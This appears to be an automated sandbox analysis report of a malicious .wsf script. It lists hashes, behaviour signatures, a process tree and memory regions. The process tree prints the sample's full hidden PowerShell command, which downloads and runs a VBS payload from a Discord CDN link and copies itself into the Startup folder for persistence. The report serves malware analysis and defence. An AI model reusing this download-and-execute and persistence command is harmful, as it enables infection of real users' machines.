Analysis

  • max time kernel
    106s
  • max time network
    51s
  • platform
    windows7_x64
  • resource
    win7-20220901-en
  • resource tags

    arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
  • submitted
    06/10/2022, 22:00

General

  • Target

    c5d249498462540b2e9d9280343f3292.wsf

  • Size

    53KB

  • MD5

    c5d249498462540b2e9d9280343f3292

  • SHA1

    32bf4154e274eb9e09169cd52093713816d02481

  • SHA256

    31482a83f3cbb75af81d1fb11e190343dc635d69e767da83d0bb55eabe0244f0

  • SHA512

    f57fe84b2dd03455b26ea8e76516721770e9b571480365a99a19701d9137737230c144ee15ebce460d8f37a32afa2a00e88ef56ea90b9e1909869089fcaa1d98

  • SSDEEP

    192:L48w8Nlb0bqGW6CCCuqpSB48w8Nlb0bqGW6CCCuqpd48w8Nlb0bqGW6CCCuqpJ:dwSb0cJqXwSb0cJzwSb0cJR

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
  • Modifies registry class 18 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\c5d249498462540b2e9d9280343f3292.wsf"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1340
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden wget 'https://cdn.discordapp.com/attachments/1026576632913342517/1027643430551158908/8.vbs' -o C:\Windows\Temp\nLeNPdi.vbs;explorer.exe C:\Windows\Temp\nLeNPdi.vbs;Start-Sleep 3;[System.IO.File]::Copy('ییခا.wsf','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ییခا.wsf');Start-Sleep 1;rm *.pif,*.uue
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1680
      • C:\Windows\explorer.exe
        "C:\Windows\explorer.exe" C:\Windows\Temp\nLeNPdi.vbs
        3⤵
          PID:688
    • C:\Windows\explorer.exe
      C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
      1⤵
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:1524

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          • memory/1340-54-0x000007FEFB741000-0x000007FEFB743000-memory.dmp

            Filesize

            8KB

          • memory/1524-63-0x0000000003A00000-0x0000000003A10000-memory.dmp

            Filesize

            64KB

          • memory/1680-57-0x000007FEF3D60000-0x000007FEF4783000-memory.dmp

            Filesize

            10.1MB

          • memory/1680-59-0x0000000001FB4000-0x0000000001FB7000-memory.dmp

            Filesize

            12KB

          • memory/1680-58-0x000007FEF3200000-0x000007FEF3D5D000-memory.dmp

            Filesize

            11.4MB

          • memory/1680-64-0x0000000001FBB000-0x0000000001FDA000-memory.dmp

            Filesize

            124KB

          • memory/1680-65-0x0000000001FB4000-0x0000000001FB7000-memory.dmp

            Filesize

            12KB

          • memory/1680-66-0x0000000001FBB000-0x0000000001FDA000-memory.dmp

            Filesize

            124KB